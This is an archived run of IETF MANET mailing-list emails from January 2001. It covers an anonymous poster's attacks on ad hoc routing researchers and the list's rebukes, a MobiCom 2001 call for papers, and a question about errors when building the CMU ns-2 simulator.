itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA18839 for ; Sat, 13 Jan 2001 12:14:00 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id LAA13248 for manet-outgoing; Sat, 13 Jan 2001 11:01:00 -0500 (EST) Received: from cs.tamu.edu (clavin.cs.tamu.edu [128.194.130.106]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id LAA13243 for ; Sat, 13 Jan 2001 11:00:58 -0500 (EST) Received: from photon.cs.tamu.edu (IDENT:2654@photon [128.194.134.1]) by cs.tamu.edu (8.11.0/8.11.0) with ESMTP id f0DG0xW19639; Sat, 13 Jan 2001 10:00:59 -0600 (CST) Received: (from vaidya@localhost) by photon.cs.tamu.edu (8.11.0/8.11.0) id f0DG1ej15195; Sat, 13 Jan 2001 10:01:40 -0600 (CST) Date: Sat, 13 Jan 2001 10:01:40 -0600 (CST) From: Nitin H Vaidya Message-Id: <200101131601.f0DG1ej15195@photon.cs.tamu.edu> To: cyberspacetom@yahoo.com, manet@itd.nrl.navy.mil, vaidya@cs.tamu.edu Subject: Re: DSR/AODV/& BS Stuff Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Tom: I don't think I want to respond to your e-mail below - thanks to others who have responded already - but here is some information that is meant to be helpful. Like many premier conferences today, MobiCom rejects a lot of papers to maintain quality and due to lack of space in the program (unlike what you seem to believe, my papers get rejected too). Don't despair. Now there is one more good forum for MANET papers. Consider submitting papers to MobiHoc'01, which will focus on mobile ad hoc networking, and will take place at Long Beach, California in October 2001. See the web site at www.cs.ucla.edu/mobihoc I don't mean to respond to your future e-mails, unless they become a little more technical. Best regards, and good luck. - nitin P.S. - sorry for advertizing MobiHoc on the slightest possible excuse, but that is part of my job this year -:) >> From cyberspacetom@yahoo.com Fri Jan 12 22:05:40 2001 >> Date: Fri, 12 Jan 2001 20:05:39 -0800 (PST) >> From: Tom Hello >> Subject: Re: DSR/AODV/& BS Stuff >> To: Nitin H Vaidya , manet@itd.nrl.navy.mil >> MIME-Version: 1.0 >> >> Nitin: I don't think you should implement LAR (which >> is not a protocol as you claim) with DSR! You clearly >> exhibit some form of political bias. >> >> Is that related to your MobiHOC conference in some >> way or is that related to your paper acceptance? I >> realize you publish things related to DSR and AODV - >> clearly you are trying to gather "favor" from those >> folks/people. >> >> Does that explain how you get your papers published in >> >> MOBICOM (and you constantly published there) and >> your NSF grants too?? Man.. this is bad... >> >> ===================================================== >> --- Tom Hello wrote: >> > Oh you (nitin)... About LAR/LAM - there are many >> > flaws >> > in location based routing. Your original proposal >> > does not take into account connection/signal >> > propagation properties, just location which is >> > wrong. >> > None of LAR/LAM have been implemented and tested >> > in real systems. You should do it since you started >> > it. >> > >> > There is too much BS Stuff in this circle. >> > I recall AODV - where the heck is the distance >> > vector >> > being used here?? That was just a twist from the >> > DSDV >> > protocol which is a table-driven protocol but >> > the authors twisted it to change it to on-demand >> > based. There is just not enough good/properly >> > designed protocols and too much BS stuff and >> > politics >> > too. >> > >> > These people need to wake up... >> > >> > >> > --- Nitin H Vaidya wrote: >> > > >> > > >> From: Tom Hello >> > >> > > >> > > >> From owner-manet@itd.nrl.navy.mil Fri Dec 22 >> > > 12:43:48 2000 >> > > >> >> > > >> Li Li wrote: >> > > >> > >> > > >> >In the DSR draft, it says "Although many >> > > routing >> > > >> >protocols operate correctly >> > > >> >only over bi-directional links, DSR can >> > > successfully >> > > >> >discover and forward >> > > >> >packets over paths that contain >> > > uni-directional >> > > >> >links." >> > > >> >> > > >> I don't believe a single word of it. It was >> > not >> > > >> even proven!! The DSR draft constantly copys >> > > and >> > > >> > > I do not recall if they give a formal proof or >> > not, >> > > but >> > > it seemed to me that DSR could work on >> > > unidirectional links. >> > > Do you have a counter-example (or a "proof") that >> > it >> > > does not work? >> > > >> > > ... >> > > >> Also, why you are enhancing DSR and not doing >> > > your >> > > >> own protocol? One need not have a paper that >> > is >> > > >> DSR compliant to get one's paper accepted!! >> > > >> > > Huh !? >> > > Enhancing an existing protocol is not necessarily >> > a >> > > bad >> > > thing, be it DSR, AODV, TORA, whatever. >> > > >> > >> > > Happy holidays. >> > > >> > > - nitin >> > > >> > > . >> > > hoc/ >> > > >> > > Happy holidays. >> > > >> > > - nitin >> > > >> > > . >> > > >> > >> > >> > __________________________________________________ >> > Do You Yahoo!? >> > Yahoo! Photos - Share your holiday photos online! >> > http://photos.yahoo.com/ >> > . >> > u Yahoo!? >> > Yahoo! Photos - Share your holiday photos online! >> > http://photos.yahoo.com/ >> > . >> > >> >> >> __________________________________________________ >> Do You Yahoo!? >> Get email at your own domain with Yahoo! Mail. >> http://personal.mail.yahoo.com/ >> From owner-manet@itd.nrl.navy.mil Sat Jan 13 13:43:56 2001 Received: from itd.nrl.navy.mil ([132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA19365 for ; Sat, 13 Jan 2001 13:43:56 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id MAA13907 for manet-outgoing; Sat, 13 Jan 2001 12:29:30 -0500 (EST) Received: from scapa.cs.ualberta.ca (scapa.cs.ualberta.ca [129.128.4.44]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id MAA13902 for ; Sat, 13 Jan 2001 12:29:29 -0500 (EST) Received: (from localhost user: 'wkui' uid#432 fake: STDIN (wkui@newsarepta.cs.ualberta.ca)) by scapa.cs.ualberta.ca id ; Sat, 13 Jan 2001 10:29:10 -0700 Date: Sat, 13 Jan 2001 10:29:09 -0700 (MST) From: Kui Wu To: "Rajan, Hridesh (Hridesh)" cc: "'TomHello'" , "'manet@itd.nrl.navy.mil'" Subject: Re: Tom's comments In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk On Sat, 13 Jan 2001, Rajan, Hridesh (Hridesh) wrote: > Hello Tom, > > Let me make this point very clear that your comments on DSR and LAR > are unwarranted and biased. You have been constantly criticizing the > protocols without presenting any substantial facts supporting your > criticism which may suit a urchin but is not a way to behave on a mailing > list on which serious discussions are only invited. > > Another fact that I want to make clear is that you seem to be having some > personal grudges against people and not the protocols. Your comments on > nitin's work at least suggests that. You have no rights to comment on any > research work and grant. > > If the moderator of this mailing list is listening me I earnestly request > him/her to call off this unruly, unsavory and unseemly discussion from this > list which I believe is meant only for serious purposes. I also think Tom is stepping too far and his email include too many personal biased opinions. However, this should not be the reason why you want to kick him out. Listening negative comments may be a way to make the mailing list more healthy. If you do not like his email, just punch "D" key. Tom has to hit the keyboard many times while you just one. :-)) I can understand why Tom is using yahoo. After all, he is at the risk of losing friends if he is uncovered. Right? Kui > > I request you to stop this indecency. > > Thank You, > Hridesh > > > From owner-manet@itd.nrl.navy.mil Sat Jan 13 20:25:56 2001 Received: from itd.nrl.navy.mil ([132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA21350 for ; Sat, 13 Jan 2001 20:25:56 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id SAA16184 for manet-outgoing; Sat, 13 Jan 2001 18:51:52 -0500 (EST) Received: from herbert.eecs.wsu.edu (herbert.eecs.wsu.edu [199.237.73.70]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id SAA16179 for ; Sat, 13 Jan 2001 18:51:50 -0500 (EST) Received: from carmel.eecs.wsu.edu ([199.237.72.81]) by herbert.eecs.wsu.edu (Post.Office MTA v3.5.3 release 223 ID# 0-68625U3000L300S0V35) with ESMTP id edu for ; Sat, 13 Jan 2001 15:51:03 -0800 Received: (from dawn@localhost) by carmel.eecs.wsu.edu (8.9.3/) id PAA04387 for manet@itd.nrl.navy.mil; Sat, 13 Jan 2001 15:51:36 -0800 From: "DAWN Research Lab" Message-Id: <200101132351.PAA04387@carmel.eecs.wsu.edu> Subject: Last Call: ACM MobiCom 2001 To: manet@itd.nrl.navy.mil Date: Sat, 13 Jan 2001 15:51:36 -0800 (PST) X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit ******************** LAST CALL ************************************** Deadline: January 22, 2001 ********************************************************************* Enclosed below please find the Announcement and Call for Papers for the 7th Annual International Conference on Mobile Computing and Networking (MobiCom) to be held in Rome, Italy from July 16-21, 2001. As you might already know, MobiCom has an established reputation as the pre-eminent conference in this area owing to the exceptionally high quality of papers, excellent tutorials and workshops, and stimulating panels conducted by mobile computing illuminati of various stripes. For complete information about the upcoming conference, please visit: http://www.research.ibm.com/mobicom2001/ A printer friendly version of this CFP is available at: http://www.eecs.wsu.edu/~krishna/Mobicom2001-onepagecfp.pdf (PDF) http://www.eecs.wsu.edu/~krishna/Mobicom2001-onepagecfp.ps (PS) We apologize if you received multiple copies of this Call for Papers. Please feel free to distribute it to those who might be interested. Very truly yours, ACM SIGMOBILE MobiCom 2001 Organizing Committee *********************************************************************** Announcement and Call for Papers *** ACM MobiCom 2001 *** The Seventh Annual International Conference on Mobile Computing and Networking July 16-21, Rome, Italy Sponsored by ACM SIGMOBILE http://www.research.ibm.com/mobicom2001/ http://www.acm.org/sigmobile/ Submission Deadline: January 22, 2001 *********************************************************************** PAPERS: Technical papers (maximum 15 pages) describing original, previously unpublished, completed research, not currently under review by another conference or journal, are solicited on the following topics: * Applications and computing services supporting mobile users * Architectures, protocols, and algorithms to cope with mobility, limited bandwidth, or intermittent connectivity * Database and data management issues in mobile computing * Performance of mobile/wireless networks and systems * Security and privacy of mobile/wireless systems * Interaction between different layers of mobile/wireless systems * Integration and interworking of wired and wireless networks * Adaptive applications and systems for mobile environments * Distributed-system aspects of mobile systems * Operating system support for mobility * Location-dependent applications * Wireless multimedia systems * Power management * Mobile agents * Pervasive computing * Wireless sensor networks * Wireless/mobile service management and delivery All papers will be refereed by the program committee. Accepted papers will be published in the conference proceedings. Papers of particular merit will be proposed for publication in the ACM/Baltzer Wireless Networks (WINET) and Mobile Networks and Applications (MONET) journals. Note: Student Registrations will be provided at a discounted rate. CHALLENGES SESSION, PANELS, RESEARCH DEMOS, TUTORIALS: Short papers (maximum of 8 pages) that challenge the mobile computing community with new technologies or visionary applications are solicited. Such papers should provide stimulating ideas or visions that may open up exciting avenues of mobile computing research. Proposals are solicited for panels that examine innovative, controversial, or otherwise provocative issues of interest. Proposals for tutorials are solicited. Tutorial topics that encompass the systems aspects of mobile computing and/or practical experiences in building/deploying such systems are of particular interest. Informal proposals for research demos are solicited. Proposals should include: the focus area in mobility, the technologies involved, specific equipment used, demo layout, space required, etc. Please refer to the conference website for submission and other details. (The paper submission website is READY for submissions now.) IMPORTANT DATES: * Technical Paper Submissions due: January 22, 2001 - Please refer to the website for submission instructions * Notification of acceptance: May 1, 2001 * Camera-ready version due: May 15, 2001 * Challenges Session Papers, Panel Proposals, Tutorial Proposals Submissions due: January 22, 2001 - Please refer to the website for submission instructions FOR MORE INFORMATION: Send email to mobicom2001@winlab.rutgers.edu with any questions or comments about the conference or for more information. ORGANIZING COMMITTEE: * General Chair: * Tutorials Co-Chairs: Christopher Rose Ravi Jain Rutgers University, WINLAB Telcordia Technologies * General Vice Chair: Chiara Petrioli Politecnico di Milano Sergio Palazzo Universita` di Catania * Panels Chair: * Program Co-Chairs: Ramesh Rao Univ. of California, San Diego Mahmoud Naghshineh IBM T.J. Watson Research Center * Local Arrangement Chair: Michele Zorzi Marco Listanti Universita` di Ferrara Universita` di Roma "La Sapienza" * Finance Chair: Chiara Petrioli Politecnico di Milano David B. Johnson Rice University * Registration Chair: * Exhibits/Sponsorships Chair: Irene Katzela Marco Ajmone Marsan Lucent Technologies Politecnico di Torino * Publicity Co-Chairs: * Research Demos Chair: Stefano Basagni Nigel Davies Univ. of Texas at Dallas Lancaster University Krishna Sivalingam * Steering Committee Chair: Washington State University Imrich Chlamtac Univ. of Texas at Dallas *********************************************************************** From owner-manet@itd.nrl.navy.mil Sat Jan 13 21:57:09 2001 Received: from itd.nrl.navy.mil ([132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA22721 for ; Sat, 13 Jan 2001 21:57:08 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id UAA16947 for manet-outgoing; Sat, 13 Jan 2001 20:29:46 -0500 (EST) Received: from spiderman.bu.edu (SPIDERMAN.BU.EDU [128.197.53.37]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id UAA16942 for ; Sat, 13 Jan 2001 20:29:45 -0500 (EST) Received: from localhost (pbasu@localhost) by spiderman.bu.edu (8.11.0/8.11.0) with ESMTP id f0E1TBj04324 for ; Sat, 13 Jan 2001 20:29:11 -0500 X-Authentication-Warning: spiderman.bu.edu: pbasu owned process doing -bs Date: Sat, 13 Jan 2001 20:29:11 -0500 (EST) From: Prithwish Basu To: "'manet@itd.nrl.navy.mil'" Subject: Re: Tom's comments In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk On Sat, 13 Jan 2001, Rajan, Hridesh (Hridesh) wrote: > Hello Tom, ^^^^^^^^^^ The guy's name reversed, eh? ;-) All along I had thought that this guy was writing personally targetted nonsense (as you have mentioned) and was inciting people to reply. Nitin and Dave replied to his mails graciously and I think his nonsensical mails didn't warrant replies. Unfortunately, he has been successful in his efforts by making them reply.. that's what he probably wanted! I think most people who are subscribed to this newsgroup are serious about it, and don't want to waste their time reading mails from a guy who doesn't have the guts to send mails from an identifiable email account. Tom: if you identify yourself (with affiliation) and write constructive criticism of the DSR/LAR protocols, then everybody is here to pay attention. Otherwise, you should go to other appropriate mailing lists or newsgroups (rec.humor etc.) and post such stuff - most probably people won't take you seriously there too! Better still, why don't *you* come up with a protocol which has *no* connection with DSR/AODV/LAR and publish it in Mobicom / Mobihoc? If it has merit, it will be accepted. Their deadlines are not yet over! Maybe you yourself can pull together an NSF grant with your new "Hello" protocol :) -Prithwish > Let me make this point very clear that your comments on DSR and LAR > are unwarranted and biased. You have been constantly criticizing the > protocols without presenting any substantial facts supporting your > criticism which may suit a urchin but is not a way to behave on a mailing > list on which serious discussions are only invited. > > Another fact that I want to make clear is that you seem to be having some > personal grudges against people and not the protocols. Your comments on > nitin's work at least suggests that. You have no rights to comment on any > research work and grant. > > If the moderator of this mailing list is listening me I earnestly request > him/her to call off this unruly, unsavory and unseemly discussion from this > list which I believe is meant only for serious purposes. > > I request you to stop this indecency. > > Thank You, > Hridesh > > > -- -Prithwish From owner-manet@itd.nrl.navy.mil Sun Jan 14 03:48:55 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA06406 for ; Sun, 14 Jan 2001 03:48:55 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id CAA18644 for manet-outgoing; Sun, 14 Jan 2001 02:24:10 -0500 (EST) Received: from auemail2.firewall.lucent.com (auemail2.lucent.com [192.11.223.163]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id CAA18639 for ; Sun, 14 Jan 2001 02:24:07 -0500 (EST) Received: from auemail2.firewall.lucent.com (localhost [127.0.0.1]) by auemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id CAA29552 for ; Sun, 14 Jan 2001 02:24:06 -0500 (EST) Received: from ii0015exch001u.wins.lucent.com (h135-254-248-252.lucent.com [135.254.248.252]) by auemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id CAA29548 for ; Sun, 14 Jan 2001 02:24:05 -0500 (EST) Received: by II0015EXCH001U with Internet Mail Service (5.5.2650.21) id ; Sun, 14 Jan 2001 12:54:03 +0530 Message-ID: From: "Rajan, Hridesh (Hridesh)" To: "'Kui Wu'" Cc: "'manet@itd.nrl.navy.mil'" Subject: RE: Tom's comments Date: Sun, 14 Jan 2001 12:54:02 +0530 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Hello Kui, My request was not to kick him out without any notice but first reprimand him to correct his conduct, and if he does not obeys most of the people on this mailing list will like to kick him out. regards, Hridesh > -----Original Message----- > From: Kui Wu [mailto:wkui@cs.ualberta.ca] > Sent: Saturday, January 13, 2001 10:59 PM > To: Rajan, Hridesh (Hridesh) > Cc: 'TomHello'; 'manet@itd.nrl.navy.mil' > Subject: Re: Tom's comments > > > > On Sat, 13 Jan 2001, Rajan, Hridesh (Hridesh) wrote: > > > Hello Tom, > > > > Let me make this point very clear that your comments on DSR and LAR > > are unwarranted and biased. You have been constantly > criticizing the > > protocols without presenting any substantial facts supporting your > > criticism which may suit a urchin but is not a way to > behave on a mailing > > list on which serious discussions are only invited. > > > > Another fact that I want to make clear is that you seem to > be having some > > personal grudges against people and not the protocols. Your > comments on > > nitin's work at least suggests that. You have no rights to > comment on any > > research work and grant. > > > > If the moderator of this mailing list is listening me I > earnestly request > > him/her to call off this unruly, unsavory and unseemly > discussion from this > > list which I believe is meant only for serious purposes. > > > I also think Tom is stepping too far and his email include too many > personal biased opinions. However, this should not be the reason why > you want to kick him out. Listening negative comments may be > a way to make > the mailing list more healthy. If you do not like his email, > just punch > "D" key. Tom has to hit the keyboard many times while you > just one. :-)) > > I can understand why Tom is using yahoo. After all, he is at the risk > of losing friends if he is uncovered. Right? > > Kui > > > > > I request you to stop this indecency. > > > > Thank You, > > Hridesh > > > > > > > From owner-manet@itd.nrl.navy.mil Mon Jan 15 05:33:22 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA00271 for ; Mon, 15 Jan 2001 05:33:22 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id EAA27276 for manet-outgoing; Mon, 15 Jan 2001 04:01:01 -0500 (EST) Received: from nishio-mail.ise.eng.osaka-u.ac.jp (thames.ise.eng.osaka-u.ac.jp [133.1.52.49]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id EAA27268 for ; Mon, 15 Jan 2001 04:00:57 -0500 (EST) Received: from Ghee (d22.ise.eng.osaka-u.ac.jp [133.1.52.22]) by nishio-mail.ise.eng.osaka-u.ac.jp (8.9.3/3.7W-03/30/00) with SMTP id SAA29029 for ; Mon, 15 Jan 2001 18:00:53 +0900 (JST) Message-ID: <00bc01c07ed1$ada043c0$16340185@ise.eng.osakau.ac.jp> From: "wooighee" To: Subject: Need help for installing CMU simulator Date: Mon, 15 Jan 2001 18:00:58 +0900 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00B8_01C07F1D.1CCF4A20" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_00B8_01C07F1D.1CCF4A20 Content-Type: text/plain; charset="iso-2022-jp" Content-Transfer-Encoding: 7bit Hello I am trying to install the ad-hockey simulator in this page: http://www.monarch.cs.cmu.edu/cmu-ns.html I have downloaded and unpacked the file in the following directory: ------------------------------------------------------ ghee@zambezi(107)% ls README ad-hockey/ cmu-docs/ install* ns-2/ otcl/ tclbox/ tkbox/ TclCL/ bin/ gt-itm/ nam-1/ ns-src/ tcl8.0/ tk8.0/ xgraph/ ------------------------------------------------------ But when I tried to install the simulator, I got the fialed message: -------------------------------------------------------- ghee@zambezi% ./install : lib -L../tkbox/lib -ltk8.0 -R../tclbox/lib -L../tclbox/lib -ltcl8.0 -R/usr/o penwin/lib -L/usr/openwin/lib -lXext -lX11 -lsocket -lnsl -ldl -ldl -lm -ldl ld: Warning: File ../TclCL/libtclcl.a : is ignored : cannot allocate archive simbol table ld: Fatal Error: Library -ltclcl: cannot find ld: Warning: File../otcl/libotcl.a : is ignored : cannot allocate archive simbol table ld: Fatal Error: Library -lotcl: cannot find ld: Warning: File../tkbox/lib/libtk8.0.a : is ignored : cannot allocate archive simbol table ld: Warning: File../tclbox/lib/libtcl8.0.a : is ignored : cannot allocate archive simbol table ld: Fatal error: File processing errors. No output written to ns make: *** [ns] Error 1 Ns make failed! Exiting ... ghee@zambezi% ---------------------------------------------------------------------------- The installation stopped at this error message: If you have any idea please kindly indicate me. Thank you very much. Regards Ghee ------------------------------------------------------------------- ------=_NextPart_000_00B8_01C07F1D.1CCF4A20 Content-Type: text/html; charset="iso-2022-jp" Content-Transfer-Encoding: quoted-printable
Hello
 I am trying to install the = ad-hockey=20 simulator in this page:
http://www.monarch.cs.= cmu.edu/cmu-ns.html

I=20 have downloaded and unpacked the file in the following=20 directory:

------------------------------------------------------<= BR>ghee@zambezi(107)%=20 ls
README      ad-hockey/ =20 cmu-docs/   install*   =20
ns-2/      =20 otcl/       = tclbox/    =20 tkbox/
TclCL/     =20 bin/        = gt-itm/    =20 nam-1/     
ns-src/     = tcl8.0/     tk8.0/     =20 xgraph/
------------------------------------------------------

= But=20 when I tried to install the simulator, I got the fialed=20 message:

--------------------------------------------------------<= BR>ghee@zambezi%=20 ./install
:

lib = -L../tkbox/lib=20 -ltk8.0 -R../tclbox/lib -L../tclbox/lib -ltcl8.0 -R/usr/o
penwin/lib=20 -L/usr/openwin/lib -lXext -lX11 -lsocket -lnsl -ldl -ldl -lm -ldl
ld: = Warning: File ../TclCL/libtclcl.a : is ignored : cannot allocate archive = simbol=20 table
ld: Fatal Error: Library -ltclcl: cannot find
ld: Warning:=20 File../otcl/libotcl.a : is ignored : cannot allocate archive simbol = table
ld:=20 Fatal Error: Library -lotcl: cannot find
ld: Warning:=20 File../tkbox/lib/libtk8.0.a : is ignored : cannot allocate archive = simbol=20 table
ld: Warning: File../tclbox/lib/libtcl8.0.a : is ignored : = cannot=20 allocate
archive simbol table
ld: Fatal error: File processing = errors. No=20 output written to ns
make: *** [ns] Error 1
Ns make failed! = Exiting=20 ...
ghee@zambezi%
----------------------------------------------------------------= ------------
The installation stopped at this = error=20 message:

If you have any idea please kindly indicate me.
Thank = you=20 very=20 much.

Regards
Ghee
-----------------------------------------= --------------------------
------=_NextPart_000_00B8_01C07F1D.1CCF4A20-- From owner-manet@itd.nrl.navy.mil Mon Jan 15 13:35:36 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA13281 for ; Mon, 15 Jan 2001 13:35:35 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id LAA00893 for manet-outgoing; Mon, 15 Jan 2001 11:46:06 -0500 (EST) Received: from mail.cse.iitk.ac.in ([210.212.54.4]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id LAA00888 for ; Mon, 15 Jan 2001 11:46:01 -0500 (EST) Received: from cseultra2.cse.iitk.ac.in (cseultra2 [172.31.16.2]) by mail.cse.iitk.ac.in (8.9.3/8.9.3) with ESMTP id WAA22144; Mon, 15 Jan 2001 22:13:49 +0530 Received: from cseproj20 (cseproj20.cse.iitk.ac.in [172.31.17.20]) by cseultra2.cse.iitk.ac.in (8.10.1/8.10.1) with ESMTP id f0FGdu717419; Mon, 15 Jan 2001 22:09:56 +0530 (IST) Date: Mon, 15 Jan 2001 22:11:47 +0530 (IST) From: "S.M.Tripathi" X-Sender: strip@cseproj20 To: wooighee cc: manet@itd.nrl.navy.mil Subject: Re: Need help for installing CMU simulator In-Reply-To: <00bc01c07ed1$ada043c0$16340185@ise.eng.osakau.ac.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk See the mailing list ns-users@isi.edu. There you will be able to get lot more stuff. Also try on fro ns2 at the www.isi.edu. Shailendra On Mon, 15 Jan 2001, wooighee wrote: > Hello > > I am trying to install the ad-hockey simulator in this page: > http://www.monarch.cs.cmu.edu/cmu-ns.html > > I have downloaded and unpacked the file in the following directory: > > ------------------------------------------------------ > ghee@zambezi(107)% ls > README ad-hockey/ cmu-docs/ install* > ns-2/ otcl/ tclbox/ tkbox/ > TclCL/ bin/ gt-itm/ nam-1/ > ns-src/ tcl8.0/ tk8.0/ xgraph/ > ------------------------------------------------------ > > But when I tried to install the simulator, I got the fialed message: > > -------------------------------------------------------- > ghee@zambezi% ./install > : > > lib -L../tkbox/lib -ltk8.0 -R../tclbox/lib -L../tclbox/lib -ltcl8.0 -R/usr/o > penwin/lib -L/usr/openwin/lib -lXext -lX11 -lsocket -lnsl -ldl -ldl -lm -ldl > ld: Warning: File ../TclCL/libtclcl.a : is ignored : cannot allocate archive > simbol table > ld: Fatal Error: Library -ltclcl: cannot find > ld: Warning: File../otcl/libotcl.a : is ignored : cannot allocate archive > simbol table > ld: Fatal Error: Library -lotcl: cannot find > ld: Warning: File../tkbox/lib/libtk8.0.a : is ignored : cannot allocate > archive simbol table > ld: Warning: File../tclbox/lib/libtcl8.0.a : is ignored : cannot allocate > archive simbol table > ld: Fatal error: File processing errors. No output written to ns > make: *** [ns] Error 1 > Ns make failed! Exiting ... > ghee@zambezi% > ---------------------------------------------------------------------------- > > The installation stopped at this error message: > > If you have any idea please kindly indicate me. > Thank you very much. > > Regards > Ghee > ------------------------------------------------------------------- > > From owner-manet@itd.nrl.navy.mil Tue Jan 16 11:58:29 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA16313 for ; Tue, 16 Jan 2001 11:58:28 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id KAA21186 for manet-outgoing; Tue, 16 Jan 2001 10:11:48 -0500 (EST) Received: from tabasco.itd.nrl.navy.mil (tabasco.itd.nrl.navy.mil [132.250.92.182]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id KAA21175; Tue, 16 Jan 2001 10:11:43 -0500 (EST) Message-Id: <5.0.0.25.2.20010116100832.02ff0840@pop.itd.nrl.navy.mil> X-Sender: macker@pop.itd.nrl.navy.mil X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Tue, 16 Jan 2001 10:14:20 -0800 To: Tom Hello , Nitin H Vaidya , manet@itd.nrl.navy.mil From: Joe Macker Subject: Re: DSR/AODV/& BS Stuff In-Reply-To: <20010113040539.47733.qmail@web11403.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Inappropriate postings include: Unsolicited bulk e-mail Discussion of subjects unrelated to IETF policy, meetings, activities, or technical concerns Unprofessional commentary, regardless of the general subject. This is clearly unprofessional commentary beyond the bounds of technical concerns. -Joe At 08:05 PM 1/12/01 -0800, Tom Hello wrote: >Nitin: I don't think you should implement LAR (which >is not a protocol as you claim) with DSR! You clearly >exhibit some form of political bias. > >Is that related to your MobiHOC conference in some >way or is that related to your paper acceptance? I >realize you publish things related to DSR and AODV - >clearly you are trying to gather "favor" from those >folks/people. > >Does that explain how you get your papers published in > >MOBICOM (and you constantly published there) and >your NSF grants too?? Man.. this is bad... > >===================================================== >--- Tom Hello wrote: > > Oh you (nitin)... About LAR/LAM - there are many > > flaws > > in location based routing. Your original proposal > > does not take into account connection/signal > > propagation properties, just location which is > > wrong. > > None of LAR/LAM have been implemented and tested > > in real systems. You should do it since you started > > it. > > > > There is too much BS Stuff in this circle. > > I recall AODV - where the heck is the distance > > vector > > being used here?? That was just a twist from the > > DSDV > > protocol which is a table-driven protocol but > > the authors twisted it to change it to on-demand > > based. There is just not enough good/properly > > designed protocols and too much BS stuff and > > politics > > too. > > > > These people need to wake up... > > > > > > --- Nitin H Vaidya wrote: > > > > > > >> From: Tom Hello > > > > > > > > >> From owner-manet@itd.nrl.navy.mil Fri Dec 22 > > > 12:43:48 2000 > > > >> > > > >> Li Li wrote: > > > >> > > > > >> >In the DSR draft, it says "Although many > > > routing > > > >> >protocols operate correctly > > > >> >only over bi-directional links, DSR can > > > successfully > > > >> >discover and forward > > > >> >packets over paths that contain > > > uni-directional > > > >> >links." > > > >> > > > >> I don't believe a single word of it. It was > > not > > > >> even proven!! The DSR draft constantly copys > > > and > > > > > > I do not recall if they give a formal proof or > > not, > > > but > > > it seemed to me that DSR could work on > > > unidirectional links. > > > Do you have a counter-example (or a "proof") that > > it > > > does not work? > > > > > > ... > > > >> Also, why you are enhancing DSR and not doing > > > your > > > >> own protocol? One need not have a paper that > > is > > > >> DSR compliant to get one's paper accepted!! > > > > > > Huh !? > > > Enhancing an existing protocol is not necessarily > > a > > > bad > > > thing, be it DSR, AODV, TORA, whatever. > > > > > > > > Happy holidays. > > > > > > - nitin > > > > > > . > > > hoc/ > > > > > > Happy holidays. > > > > > > - nitin > > > > > > . > > > > > > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! Photos - Share your holiday photos online! > > http://photos.yahoo.com/ > > . > > u Yahoo!? > > Yahoo! Photos - Share your holiday photos online! > > http://photos.yahoo.com/ > > . > > > > >__________________________________________________ >Do You Yahoo!? >Get email at your own domain with Yahoo! Mail. >http://personal.mail.yahoo.com/ From owner-manet@itd.nrl.navy.mil Tue Jan 16 